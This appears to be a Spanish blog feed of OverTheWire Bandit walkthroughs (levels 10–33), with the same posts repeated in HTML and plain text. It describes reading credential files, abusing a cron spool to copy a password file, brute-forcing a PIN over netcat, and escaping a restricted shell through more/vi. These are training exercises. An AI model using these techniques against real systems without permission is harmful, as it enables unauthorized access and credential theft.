<p>Clone el repositorio y encuentre la contraseña para el siguiente nivel.</p>
<h3 id="comandos-recomendados-a-usar-7">Comandos recomendados a usar</h3>
<p>git</p>
<h3 id="solución-8">Solución</h3>
<p>Clonamos el repositorio indicado en las instrucciones:</p>
<p><img src="/assets/img/wargame-bandit-3/git-bandit28.png" alt="bandit03-39" /></p>
<p>Revisamos el contenido del directorio <code class="language-plaintext highlighter-rouge">repo</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-bandit28.png" alt="bandit03-40" /></p>
<p>Al ver el archivo <code class="language-plaintext highlighter-rouge">README.md</code>, no encontramos nada útil, por lo tanto chequeamos el manual de <code class="language-plaintext highlighter-rouge">git</code> para ver qué nos puede ayudar a resolver el reto.</p>
<p>Dentro de los comandos útiles que encontramos, uno de ellos es <code class="language-plaintext highlighter-rouge">git-log</code>, el cual, muestra los logs de cuando se ejecuta un <code class="language-plaintext highlighter-rouge">commit</code> en <code class="language-plaintext highlighter-rouge">git</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/man-1-bandit28.png" alt="bandit03-41" /></p>
<p>También está el comando <code class="language-plaintext highlighter-rouge">git-diff</code>, el que, nos indica los cambios entre <code class="language-plaintext highlighter-rouge">commits</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/man-2-bandit28.png" alt="bandit03-42" /></p>
<p>Si hacemos un <code class="language-plaintext highlighter-rouge">git log</code>, vemos los <code class="language-plaintext highlighter-rouge">commit</code> realizados:</p>
<p><img src="/assets/img/wargame-bandit-3/git-2-bandit28.png" alt="bandit03-43" /></p>
<p>Con respecto a estos <code class="language-plaintext highlighter-rouge">commit</code> y sus comentarios, podemos indicar lo siguiente:</p>
<ul>
<li>El <code class="language-plaintext highlighter-rouge">commit edd935d60906b33f0619605abd1689808ccdd5ee</code> es el que clonamos, y este especifica que se arregló una fuga de información.</li>
<li>El <code class="language-plaintext highlighter-rouge">commit c086d11a00c0648d095d04c089786efef5e01264</code> es el anterior a nuestro repositorio clonado, y en este, se le agregaron datos.</li>
<li>Y por último, el <code class="language-plaintext highlighter-rouge">commit de2ebe2d5fd1598cd547f4d56247e053be3fdc38</code> fue el primero en realizarse.</li>
</ul>
<p>Ahora que sabemos esto, comparamos el <code class="language-plaintext highlighter-rouge">commit</code> actual con el anterior para ver sus diferencias:</p>
<p><img src="/assets/img/wargame-bandit-3/git-3-bandit28.png" alt="bandit03-44" /></p>
<h2 id="solución-bandit-29--30">Solución Bandit 29 > 30</h2>
<h3 id="instrucciones-8">Instrucciones</h3>
<p>Hay un repositorio <code class="language-plaintext highlighter-rouge">git</code> en <code class="language-plaintext highlighter-rouge">ssh://bandit29-git@localhost/home/bandit29-git/repo</code>. La contraseña para el usuario bandit29-git es la misma que para el usuario <code class="language-plaintext highlighter-rouge">bandit29</code>.</p>
<p>Clone el repositorio y encuentre la contraseña para el siguiente nivel.</p>
<h3 id="comandos-recomendados-a-usar-8">Comandos recomendados a usar</h3>
<p>git</p>
<h3 id="solución-9">Solución</h3>
<p>Clonamos el repositorio:</p>
<p><img src="/assets/img/wargame-bandit-3/git-bandit29.png" alt="bandit03-45" /></p>
<p>Seguimos los pasos del reto anterior para ver el contenido y los cambios dentro del directorio <code class="language-plaintext highlighter-rouge">repo</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/git-2-bandit29.png" alt="bandit03-46" /></p>
<p>Una de las características que posee <code class="language-plaintext highlighter-rouge">git</code> son las <code class="language-plaintext highlighter-rouge">branch</code> (ramas), estas permiten tener en paralelo avances del proyectos, sin afectar el proyecto principal (conocido como <code class="language-plaintext highlighter-rouge">master</code>).</p>
<p>En nuestro caso, estamos en el <code class="language-plaintext highlighter-rouge">master</code>, el cual, corresponde a nuestro <code class="language-plaintext highlighter-rouge">HEAD</code> (rama actual en la que estamos trabajando):</p>
<p><img src="/assets/img/wargame-bandit-3/git-3-bandit29.png" alt="bandit03-47" /></p>
<p>Si queremos ver las distintas ramas (<code class="language-plaintext highlighter-rouge">branch</code>) de este repositorio, usamos el comando <code class="language-plaintext highlighter-rouge">git branch -a</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/git-4-bandit29.png" alt="bandit03-48" /></p>
<p>Como sabemos ahora que existe una rama de desarrollo (<code class="language-plaintext highlighter-rouge">remotes/origin/dev</code>), podemos cambiarnos de <code class="language-plaintext highlighter-rouge">branch</code> para ver lo que posee este:</p>
<p><img src="/assets/img/wargame-bandit-3/git-5-bandit29.png" alt="bandit03-49" /></p>
<p>Si revisamos, ahora tenemos como <code class="language-plaintext highlighter-rouge">HEAD</code> el <code class="language-plaintext highlighter-rouge">branch</code> de desarrollo:</p>
<p><img src="/assets/img/wargame-bandit-3/git-8-bandit29.png" alt="bandit03-50" /></p>
<p>Chequeamos los <code class="language-plaintext highlighter-rouge">commits</code> realizados:</p>
<p><img src="/assets/img/wargame-bandit-3/git-6-bandit29.png" alt="bandit03-51" /></p>
<p>Vemos los cambios del último <code class="language-plaintext highlighter-rouge">commit</code>.</p>
<p><img src="/assets/img/wargame-bandit-3/git-7-bandit29.png" alt="bandit03-52" /></p>
<h2 id="solución-bandit-30--31">Solución Bandit 30 > 31</h2>
<h3 id="instrucciones-9">Instrucciones</h3>
<p>Hay un repositorio <code class="language-plaintext highlighter-rouge">git</code> en <code class="language-plaintext highlighter-rouge">ssh://bandit30-git@localhost/home/bandit30-git/repo</code>. La contraseña para el usuario bandit30-git es la misma que para el usuario <code class="language-plaintext highlighter-rouge">bandit30</code>.</p>
<p>Clone el repositorio y encuentre la contraseña para el siguiente nivel.</p>
<h3 id="comandos-recomendados-a-usar-9">Comandos recomendados a usar</h3>
<p>git</p>
<h3 id="solución-10">Solución</h3>
<p>Realizamos los pasos de los retos anteriores:</p>
<p><img src="/assets/img/wargame-bandit-3/git-bandit30.png" alt="bandit03-53" /></p>
<p>Revisamos el archivo <code class="language-plaintext highlighter-rouge">README.md</code> y los <code class="language-plaintext highlighter-rouge">commit</code> realizados:</p>
<p><img src="/assets/img/wargame-bandit-3/git-2-bandit30.png" alt="bandit03-54" /></p>
<p>Como podemos ver, solo tiene el <code class="language-plaintext highlighter-rouge">commit</code> inicial, por lo tanto, revisamos si tiene más <code class="language-plaintext highlighter-rouge">branch</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/git-3-bandit30.png" alt="bandit03-55" /></p>
<p>Pero al chequear, nos damos cuenta que solo se muestra el <code class="language-plaintext highlighter-rouge">branch master</code>. Otra cosa que podemos ver, es si no se ocultaron ramas usando el comando <code class="language-plaintext highlighter-rouge">git stash</code>. Este oculta el branch y los deja como referencias.</p>
<p>Para poder ver estas referencias, se usa el comando <code class="language-plaintext highlighter-rouge">git show-ref</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/git-4-bandit30.png" alt="bandit03-56" /></p>
<p>Vemos que aparece la referencia <code class="language-plaintext highlighter-rouge">refs/tags/secret</code>, si vemos que contiene con <code class="language-plaintext highlighter-rouge">git show f17132340e8ee6c159e0a4a6bc6f80e1da3b1aea</code>, nos muestra las password del siguiente reto:</p>
<p><img src="/assets/img/wargame-bandit-3/git-5-bandit30.png" alt="bandit03-57" /></p>
<h2 id="solución-bandit-31--32">Solución Bandit 31 > 32</h2>
<h3 id="instrucciones-10">Instrucciones</h3>
<p>Hay un repositorio <code class="language-plaintext highlighter-rouge">git</code> en <code class="language-plaintext highlighter-rouge">ssh://bandit31-git@localhost/home/bandit31-git/repo</code>. La contraseña para el usuario <code class="language-plaintext highlighter-rouge">bandit31-git</code> es la misma que para el usuario <code class="language-plaintext highlighter-rouge">bandit31</code>.</p>
<p>Clone el repositorio y encuentre la contraseña para el siguiente nivel.</p>
<h3 id="comandos-recomendados-a-usar-10">Comandos recomendados a usar</h3>
<p>git</p>
<h3 id="solución-11">Solución</h3>
<p>Clonamos el repositorio y vemos el archivo <code class="language-plaintext highlighter-rouge">README.md</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/git-1-bandit31.png" alt="bandit03-58" /></p>
<p>Este nos dice que debemos actualizar el repositorio remoto <code class="language-plaintext highlighter-rouge">master</code> con el archivo <code class="language-plaintext highlighter-rouge">key.txt</code>, y este debe tener el texto <code class="language-plaintext highlighter-rouge">May I come in?</code>:</p>
<p>Chequeamos que estamos en la rama <code class="language-plaintext highlighter-rouge">master</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/git-2-bandit31.png" alt="bandit03-59" /></p>
<p>Creamos el archivo <code class="language-plaintext highlighter-rouge">key.txt</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/git-3-bandit31.png" alt="bandit03-60" /></p>
<p>Agregamos el archivo a git usando el comando <code class="language-plaintext highlighter-rouge">git add</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/git-4-bandit31.png" alt="bandit03-61" /></p>
<p>Cuando lo intentamos agregar, debemos forzarlo con la opción <code class="language-plaintext highlighter-rouge">-f</code>, debido que en <code class="language-plaintext highlighter-rouge">.gitignore</code> se están ignorando los archivos TXT.</p>
<p>Y por último, hacemos un <code class="language-plaintext highlighter-rouge">commit</code> con el comando <code class="language-plaintext highlighter-rouge">git commit -m "Comentario"</code>, y lo actualizamos con el comando <code class="language-plaintext highlighter-rouge">git push</code>, el cual, falla porque es rechazado, pero esto nos muestra la password del siguiente reto:</p>
<p><img src="/assets/img/wargame-bandit-3/git-5-bandit31.png" alt="bandit03-62" /></p>
<h2 id="solución-bandit-32--33">Solución Bandit 32 > 33</h2>
<h3 id="instrucciones-11">Instrucciones</h3>
<p>Después de todo este material de <code class="language-plaintext highlighter-rouge">git</code>, es hora de otro escape. ¡Buena suerte!.</p>
<h3 id="comandos-recomendados-a-usar-11">Comandos recomendados a usar</h3>
<p>sh, man</p>
<h3 id="solución-12">Solución</h3>
<p>En este reto, todo lo que escribimos en la <code class="language-plaintext highlighter-rouge">shell</code> es transformada a mayúsculas:</p>
<p><img src="/assets/img/wargame-bandit-3/shell-1-bandit32.png" alt="bandit03-63" /></p>
<p>Por lo tanto, utilizamos <code class="language-plaintext highlighter-rouge">$0</code> para hacer referencia a la <code class="language-plaintext highlighter-rouge">shell</code> o al <code class="language-plaintext highlighter-rouge">script</code>, y esto nos trae una <code class="language-plaintext highlighter-rouge">shell sh</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/shell-2-bandit32.png" alt="bandit03-64" /></p>
<p>Revisamos que somos el usuario <code class="language-plaintext highlighter-rouge">bandit33</code> y obtenemos la password:</p>
<p><img src="/assets/img/wargame-bandit-3/shell-3-bandit32.png" alt="bandit03-65" /></p>W0lf_F4ngms@w0lff4ng.orgEste post es la última parte de la serie Wargame Bandit. Wargame Bandit - Parte 1 Wargame Bandit - Parte 2 A continuación, se mostrará como resolver los retos desde el 20 > 21, hasta el 32 > 33 (el reto 33 > 34 aún no ha salido). Solución Bandit 20 > 21 Instrucciones En el directorio home se encuentra un binario setuid, el cual, hace lo siguiente: realiza una conexión al localhost en el puerto que le indiquemos como argumento. Este leerá una línea en la conexión establecida, la que, debe ser la password para conectarse a este reto. Si los datos enviados son correctos, este binario entregará la password del siguiente reto. Comandos recomendados a usar ssh, nc, cat, bash, screen, tmux, Unix ‘job control’ (bg, fg, jobs, &, CTRL-Z, …) Solución Vemos que existe el archivo setuid en el directorio home: Si vemos las instrucciones del software, este indica que solo se debe ingresar el puerto de conexión: Según los comandos que podemos usar para resolver este reto, se encuentra tmux. Este nos permite dividir el terminal, por lo tanto, podemos trabajar con dos terminales a la vez. Para usar este comando, en el terminal escribimos tmux y damos enter, lo que nos mostrará una nueva terminal. Para poder dividirla, usamos la combinación de teclas CTRL+b, seguido del símbolo %. Esto nos dividirá de forma vertical el terminal. Para movernos entre terminales, usamos CTRL+b con las teclas de dirección: Ahora que podemos trabajar con dos terminales, creamos un listener usando nc, donde, la opción -l es para dejar al equipo en modo escucha, y la opción -p 1234 para escuchar en el puerto 1234. Pero cómo se debe pasar la password del reto anterior, lo hacemos mediante el comando echo (también puede ser mediante el comando cat). Una vez arriba el listener, en el otro terminal usamos el binario suconnect al puerto definido para poder obtener la password del siguiente reto: Solución Bandit 21 > 22 Instrucciones Un programa se encuentra ejecutándose de forma automática regularmente desde un cron. Para ver el cron debemos revisar el directorio /etc/cron.d/ para saber que comando se está ejecutando. Comandos recomendados a usar cron, crontab, crontab(5) (use “man 5 crontab” to access this) Solución Vemos el contenido del directorio /etc/cron.d/: Como estamos buscando la password del reto 22, vemos el archivo cronjob_bandit22: Analizando lo que ejecuta este cron: @reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null: después de un reinicio, ejecuta /usr/bin/cronjob_bandit22.sh &> /dev/null como el usuario bandit22 * * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null: cada minuto ejecuta /usr/bin/cronjob_bandit22.sh &> /dev/null como el usuario bandit22 Revisamos el script cronjob_bandit22.sh: Ahora sabemos que este pasa la password de bandit22 al archivo t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv almacenado en /tmp/, y le da permisos 644, indicando que cualquiera puede leerlo: Solución Bandit 22 > 23 Instrucciones Un programa se encuentra ejecutándose de forma automática regularmente desde un cron. Para ver el cron debemos revisar el directorio /etc/cron.d/ para saber que comando se está ejecutando. Comandos recomendados a usar cron, crontab, crontab(5) (usar “man 5 crontab” para acceder a este) Solución Vemos el contenido del directorio /etc/cron.d/, y revisemos que se encuentra ejecutando el archivo cronjob_bandit23: Este se encuentra ejecutando el script cronjob_bandit23.sh que se encuentra en el directorio /usr/bin/: Lo que hace este script es: Asigna a la variable myname el valor de la salida del comando whoami, que en este caso es bandit22 Luego, asigna a la variable mytarget el siguiente output: Toma el resultado de echo I am user $myname (I am user bandit22), y lo manda a md5sum Este entrega el hash MD5 del mensaje anterior (169b67bd894ddbb4412f91573b38db3 -). Y por último, esto es entregado al comando cut -d ' ' -f1 El último comando separa el mensaje MD5 usando el delimitador de un espacio ' ', y muestra el primer campo de esto, que es 169b67bd894ddbb4412f91573b38db3 El problema al ejecutar el script anterior, es que el resultado está basado en bandit22, por lo tanto, debemos hacerlo de la siguiente forma para obtener la password de bandit23: NOTA: también se puede asignar la salida del comando a una variable para luego usarlo en el comando cat. Solución Bandit 23 > 24 Instrucciones Un programa se encuentra ejecutándose de forma automática regularmente desde un cron. Para ver el cron debemos revisar el directorio /etc/cron.d/ para saber que comando se está ejecutando. En este reto se debe crear un script. Comandos recomendados a usar cron, crontab, crontab(5) (usar “man 5 crontab” para acceder a este) Solución Revisamos el script cronjob_bandit24.sh que se encuentra en /usr/bin/: Lo que hace este script es ejecutar todo lo que contiene el directorio /var/spool/bandit24 y que el dueño sea bandit23, y luego lo elimina. NOTA: este script se ejecuta cada minuto mediante el crontab configurado. Por lo tanto, como sabemos que las contraseñas de los retos se almacenan en /etc/bandit_pass, vamos a hacer generar un script que lea la password, y que ese contenido lo almacene en un nuevo archivo que podamos leer. Lo primero que haremos es crear un directorio en la carpeta /tmp: Al directorio nuevo le damos full permisos para que cualquiera pueda escribir, leer y ejecutar sobre este: Creamos nuestro script usando el editor de texto nano (dar enter para continuar con el programa): El script que vamos a ejecutar es un script en bash (por eso indicamos que utilizará #!/bin/bash, en caso de que no se encuentre en esa ruta, se puede obtener con el comando which bash). Lo que hace este script es que leerá el archivo con la password de bandit24 y la almacenará en el archivo password.txt: Le damos permisos de ejecución al script, y esperamos a que pase el minuto para que se ejecute el crontab y este corra nuestro script: Luego de esperar un tiempo, revisamos la carpeta creada en el directorio temporal, y vemos que se encuentra la password del siguiente reto: NOTA: en caso de que no funcione, validar los permisos de la carpeta de destino, y si el script creado tiene permisos de ejecución. Solución Bandit 24 > 25 Instrucciones Un programa está escuchando en el puerto 30002, el cual, nos dará la contraseña para bandit25 si se entrega la contraseña de bandit24 y un PIN numérico secreto de 4 dígitos. No hay forma de recuperar el PIN, excepto a través de todas las 10000 combinaciones, llamadas fuerza bruta. Solución Lo que nos dice el reto es que, debemos conectarnos al puerto 30002 y debemos ingresar la password de bandit24 y un PIN. Si intentamos conectarnos al puerto, este nos indica que debemos ingresar la password, seguido de un espacio y luego este PIN de cuatro dígitos: Por lo tanto, creamos una carpeta en el directorio /tmp para crear un script y hacer fuerza bruta del PIN: El siguiente script lo que hace es mandar la password seguido por 4 dígitos, partiendo por 0000 hasta llegar a 9999 (no se fijen en como está programado el script, solo en su funcionalidad): A este le damos permisos de ejecución: Y le pasamos este script al comando netcat: Una vez mandado el PIN correcto, la conexión nos muestra la contraseña del siguiente reto y cierra la conexión: Solución Bandit 25 > 26 Instrucciones El shell para bandit26 no es /bin/bash, sino algo más. Descubra qué es, cómo funciona y cómo salir de él. Comandos recomendados a usar ssh, cat, more, vi, ls, id, pwd Solución El reto nos indica que bandit26 no utiliza la shell /bin/bash, por lo tanto, revisamos el archivo /etc/passwd, el cual, nos indica que shell está utilizando: Si vemos que hay en el directorio local, encontramos la llave privada de SSH de bandit26: Solución Bandit 26 > 27 Instrucciones Buen trabajo consiguiendo una shell! ¡Ahora date prisa y toma la contraseña de bandit27!. Comandos recomendados a usar ls Solución Si intentamos conectarnos usando esta llave privada, nos cierra la conexión: Si revisamos que hace la shell configurada en bandit26, vemos que este ejecuta un comando more: Este comando muestra el output del archivo text.txt en páginas, pero para lograr esto, debemos disminuir el tamaño del terminal: Una vez realizado esto, podemos ver que nos muestra el output de text.txt compaginado: Cuando vemos --More--(x%) podemos usar la tecla v para ingresar al modo de edición: Ahora podemos ingresar variables en este usando :: Una vez configurada la variable que llamará una shell /bin/bash, corremos la variable shell: Revisamos que tiene el directorio local, y este posee un setuid para ejecutar comandos como bandit27: Por lo tanto, ahora podemos ver la password del próximo reto: Solución Bandit 27 > 28 ###Instrucciones Hay un repositorio git en ssh://bandit27-git@localhost/home/bandit27-git/repo. La contraseña para el usuario bandit27-git es la misma que para el usuario bandit27. Clone el repositorio y encuentre la contraseña para el siguiente nivel. Comandos recomendados a usar git Solución Git es un sistema de control de versiones diseñada para manejar proyectos. Este nos permite clonar proyectos creados para poder usarlos o modificarlos. Para poder clonar este repositorio, usamos la herramienta git con su opción clone, seguido de la ruta dada entre comillas: Luego de que el repositorio se encuentra clonado, revisamos su contenido y vemos que en el archivo README se encuentra la password del siguiente reto: Solución Bandit 28 > 29 Instrucciones Hay un repositorio git en ssh://bandit28-git@localhost/home/bandit28-git/repo. La contraseña para el usuario bandit28-git es la misma que para el usuario bandit28. Clone el repositorio y encuentre la contraseña para el siguiente nivel. Comandos recomendados a usar git Solución Clonamos el repositorio indicado en las instrucciones: Revisamos el contenido del directorio repo: Al ver el archivo README.md, no encontramos nada útil, por lo tanto chequeamos el manual de git para ver qué nos puede ayudar a resolver el reto. Dentro de los comandos útiles que encontramos, uno de ellos es git-log, el cual, muestra los logs de cuando se ejecuta un commit en git: También está el comando git-diff, el que, nos indica los cambios entre commits: Si hacemos un git log, vemos los commit realizados: Con respecto a estos commit y sus comentarios, podemos indicar lo siguiente: El commit edd935d60906b33f0619605abd1689808ccdd5ee es el que clonamos, y este especifica que se arregló una fuga de información. El commit c086d11a00c0648d095d04c089786efef5e01264 es el anterior a nuestro repositorio clonado, y en este, se le agregaron datos. Y por último, el commit de2ebe2d5fd1598cd547f4d56247e053be3fdc38 fue el primero en realizarse. Ahora que sabemos esto, comparamos el commit actual con el anterior para ver sus diferencias: Solución Bandit 29 > 30 Instrucciones Hay un repositorio git en ssh://bandit29-git@localhost/home/bandit29-git/repo. La contraseña para el usuario bandit29-git es la misma que para el usuario bandit29. Clone el repositorio y encuentre la contraseña para el siguiente nivel. Comandos recomendados a usar git Solución Clonamos el repositorio: Seguimos los pasos del reto anterior para ver el contenido y los cambios dentro del directorio repo: Una de las características que posee git son las branch (ramas), estas permiten tener en paralelo avances del proyectos, sin afectar el proyecto principal (conocido como master). En nuestro caso, estamos en el master, el cual, corresponde a nuestro HEAD (rama actual en la que estamos trabajando): Si queremos ver las distintas ramas (branch) de este repositorio, usamos el comando git branch -a: Como sabemos ahora que existe una rama de desarrollo (remotes/origin/dev), podemos cambiarnos de branch para ver lo que posee este: Si revisamos, ahora tenemos como HEAD el branch de desarrollo: Chequeamos los commits realizados: Vemos los cambios del último commit. Solución Bandit 30 > 31 Instrucciones Hay un repositorio git en ssh://bandit30-git@localhost/home/bandit30-git/repo. La contraseña para el usuario bandit30-git es la misma que para el usuario bandit30. Clone el repositorio y encuentre la contraseña para el siguiente nivel. Comandos recomendados a usar git Solución Realizamos los pasos de los retos anteriores: Revisamos el archivo README.md y los commit realizados: Como podemos ver, solo tiene el commit inicial, por lo tanto, revisamos si tiene más branch: Pero al chequear, nos damos cuenta que solo se muestra el branch master. Otra cosa que podemos ver, es si no se ocultaron ramas usando el comando git stash. Este oculta el branch y los deja como referencias. Para poder ver estas referencias, se usa el comando git show-ref: Vemos que aparece la referencia refs/tags/secret, si vemos que contiene con git show f17132340e8ee6c159e0a4a6bc6f80e1da3b1aea, nos muestra las password del siguiente reto: Solución Bandit 31 > 32 Instrucciones Hay un repositorio git en ssh://bandit31-git@localhost/home/bandit31-git/repo. La contraseña para el usuario bandit31-git es la misma que para el usuario bandit31. Clone el repositorio y encuentre la contraseña para el siguiente nivel. Comandos recomendados a usar git Solución Clonamos el repositorio y vemos el archivo README.md: Este nos dice que debemos actualizar el repositorio remoto master con el archivo key.txt, y este debe tener el texto May I come in?: Chequeamos que estamos en la rama master: Creamos el archivo key.txt: Agregamos el archivo a git usando el comando git add: Cuando lo intentamos agregar, debemos forzarlo con la opción -f, debido que en .gitignore se están ignorando los archivos TXT. Y por último, hacemos un commit con el comando git commit -m "Comentario", y lo actualizamos con el comando git push, el cual, falla porque es rechazado, pero esto nos muestra la password del siguiente reto: Solución Bandit 32 > 33 Instrucciones Después de todo este material de git, es hora de otro escape. ¡Buena suerte!. Comandos recomendados a usar sh, man Solución En este reto, todo lo que escribimos en la shell es transformada a mayúsculas: Por lo tanto, utilizamos $0 para hacer referencia a la shell o al script, y esto nos trae una shell sh: Revisamos que somos el usuario bandit33 y obtenemos la password:Writeup - Wargame Bandit - Parte 22020-05-25T11:58:47-04:002020-05-25T11:58:47-04:00http://www.w0lff4ng.org/wargame-bandit-2<p><img src="/assets/img/wargame-bandit-2/wargames2.jpg" alt="bandit" /></p>
<p>Siguiendo con el <a href="https://www.w0lff4ng.org/wargame-bandit-1/">post anterior</a>, se mostrará cómo resolver los juegos del <a href="https://overthewire.org/wargames/bandit/">wargame Bandit</a> desde el nivel <code class="language-plaintext highlighter-rouge">10 > 11</code> hasta el <code class="language-plaintext highlighter-rouge">19 > 20</code>.</p>
<h2 id="solución-bandit-10--11">Solución Bandit 10 > 11</h2>
<h3 id="instrucciones">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">data.txt</code>, el cual, contiene datos codificados en base64.</p>
<h3 id="comandos-recomendados-a-usar">Comandos recomendados a usar</h3>
<p>grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd</p>
<h3 id="solución">Solución</h3>
<p>Revisamos si el archivo <code class="language-plaintext highlighter-rouge">data.txt</code> se encuentra en nuestro directorio home, y leemos el archivo usando <code class="language-plaintext highlighter-rouge">cat</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/ls-bandit10.png" alt="bandit" /></p>
<p>Como se indicó en las instrucciones, el contenido del archivo es un string en <a href="https://en.wikipedia.org/wiki/Base64">base64</a>. Para estos casos, Linux posee una herramienta para codificar y decodificar la base mencionada.</p>
<p>Si revisamos el manual del comando <code class="language-plaintext highlighter-rouge">base64</code>, vemos que tiene una opción <code class="language-plaintext highlighter-rouge">-d</code>, que permite decodificar datos:</p>
<p><img src="/assets/img/wargame-bandit-2/man-bandit10.png" alt="bandit" /></p>
<p>Por lo tanto, leemos el archivo con el comando y la opción para obtener la password del siguiente reto:</p>
<p><img src="/assets/img/wargame-bandit-2/base64-bandit10.png" alt="bandit" /></p>
<h2 id="solución-bandit-11--12">Solución Bandit 11 > 12</h2>
<h3 id="instrucciones-1">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">data.txt</code>, donde todas las letras minúsculas (a-z) y mayúsculas (A-Z) se han girado 13 posiciones (<a href="https://en.wikipedia.org/wiki/ROT13">ROT13</a>).</p>
<h3 id="comandos-recomendados-a-usar-1">Comandos recomendados a usar</h3>
<p>grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd</p>
<h3 id="solución-1">Solución</h3>
<p>Revisamos el archivo <code class="language-plaintext highlighter-rouge">data.txt</code>, y encontramos que los datos de este no tienen sentido:</p>
<p><img src="/assets/img/wargame-bandit-2/ls-bandit11.png" alt="bandit" /></p>
<p>Siguiendo las instrucciones, vemos que las letras originales fueron reemplazadas por una letra 13 posiciones después del alfabeto.</p>
<p>Como ejemplo, pasaremos la palabra hello a ROT13:</p>
<ul>
<li>Si a la letra <code class="language-plaintext highlighter-rouge">H</code> la movemos 13 lugares en el <a href="https://www.inglessencillo.com/el-alfabeto">alfabeto inglés</a>, quedaría con la letra <code class="language-plaintext highlighter-rouge">U</code></li>
<li>Si hacemos lo mismo con la <code class="language-plaintext highlighter-rouge">E</code>, sería <code class="language-plaintext highlighter-rouge">R</code></li>
<li>La <code class="language-plaintext highlighter-rouge">L</code> sería <code class="language-plaintext highlighter-rouge">Y</code></li>
<li>Y la <code class="language-plaintext highlighter-rouge">O</code> sería <code class="language-plaintext highlighter-rouge">B</code></li>
</ul>
<p>Entonces, si pasamos la palabra <code class="language-plaintext highlighter-rouge">hello</code> a ROT13, quedaría <code class="language-plaintext highlighter-rouge">uryyb</code>.</p>
<p>Ahora que sabemos como usar ROT13, lo que haremos es usar el comando <code class="language-plaintext highlighter-rouge">tr</code>, que nos permite traducir o eliminar caracteres. Por lo tanto, usando este método, moveremos la letra <code class="language-plaintext highlighter-rouge">A</code> 13 posiciones, quedando en la letra <code class="language-plaintext highlighter-rouge">N</code>, y así con cada carácter.</p>
<p>Al usar <code class="language-plaintext highlighter-rouge">tr</code>, primero escribimos todos los caracteres a traducir (mayúsculas y minúsculas) <code class="language-plaintext highlighter-rouge">'A-Za-z'</code>. Luego indicamos los caracteres movidos 13 posiciones <code class="language-plaintext highlighter-rouge">'N-ZA-Nn-za-m'</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/tr-bandit11.png" alt="bandit" /></p>
<h2 id="solución-bandit-12--13">Solución Bandit 12 > 13</h2>
<h3 id="instrucciones-2">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">data.txt</code>, el cual, es un <a href="https://en.wikipedia.org/wiki/Hex_dump"><code class="language-plaintext highlighter-rouge">hexdump</code></a> de un archivo.</p>
<p>Para trabajar con él, se recomienda crear una carpeta en el directorio <code class="language-plaintext highlighter-rouge">/tmp</code>, y copiar el archivo en esta carpeta.</p>
<h3 id="comandos-recomendados-a-usar-2">Comandos recomendados a usar</h3>
<p>grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv, file</p>
<h3 id="solución-2">Solución</h3>
<p>Revisamos el archivo <code class="language-plaintext highlighter-rouge">data.txt</code>, y vemos que posee información hexadecimal:</p>
<p><img src="/assets/img/wargame-bandit-2/ls-bandit12.png" alt="bandit" /></p>
<p>Siguiendo las instrucciones, creamos la carpeta en el directorio <code class="language-plaintext highlighter-rouge">/tmp</code>, y copiamos el archivo:</p>
<p><img src="/assets/img/wargame-bandit-2/mkdir-bandit12.png" alt="bandit" /></p>
<p>Para pasar el hexdump a un archivo <code class="language-plaintext highlighter-rouge">normal</code>, usamos el comando <code class="language-plaintext highlighter-rouge">xxd</code>. Este tiene la opción <code class="language-plaintext highlighter-rouge">-r</code>, que permite convertir un hexdump a un binario:</p>
<p><img src="/assets/img/wargame-bandit-2/xxd-1-bandit12.png" alt="bandit" /></p>
<p>Al convertir el archivo, vemos que este se encuentra comprimido con <code class="language-plaintext highlighter-rouge">gzip</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/xxd-bandit12.png" alt="bandit" /></p>
<p>Por lo tanto, le cambiamos el nombre al archivo para que quede con la extensión <code class="language-plaintext highlighter-rouge">gz</code> (de gzip), y lo descomprimimos con la opción <code class="language-plaintext highlighter-rouge">-d</code> del comando:</p>
<p><img src="/assets/img/wargame-bandit-2/zip-1-bandit12.png" alt="bandit" /></p>
<p>Una vez más, vemos que este se encuentra comprimido; pero esta vez, en formato <code class="language-plaintext highlighter-rouge">bzip2</code>. Ahora, cambiamos el nombre al archivo con la extensión <code class="language-plaintext highlighter-rouge">bz2</code>, y lo descomprimimos con la opción <code class="language-plaintext highlighter-rouge">-d</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/zip-2-bandit12.png" alt="bandit" /></p>
<p>Una vez más el archivo se encuentra comprimido con <code class="language-plaintext highlighter-rouge">gzip</code>, por lo tanto, lo volvemos a descomprimir:</p>
<p><img src="/assets/img/wargame-bandit-2/zip-3-bandit12.png" alt="bandit" /></p>
<p>Esta vez, el archivo se encuentra comprimido en <code class="language-plaintext highlighter-rouge">tar</code>, el cual, descomprimimos con las opciones <code class="language-plaintext highlighter-rouge">x</code> (extraer), <code class="language-plaintext highlighter-rouge">v</code> (verbose) y <code class="language-plaintext highlighter-rouge">f</code> (indica el archivo):</p>
<p><img src="/assets/img/wargame-bandit-2/zip-4-bandit12.png" alt="bandit" /></p>
<p>Otra vez, este se encuentra en <code class="language-plaintext highlighter-rouge">tar</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/zip-5-bandit12.png" alt="bandit" /></p>
<p>Ahora descomprimimos el archivo <code class="language-plaintext highlighter-rouge">bzip2</code>:</p>
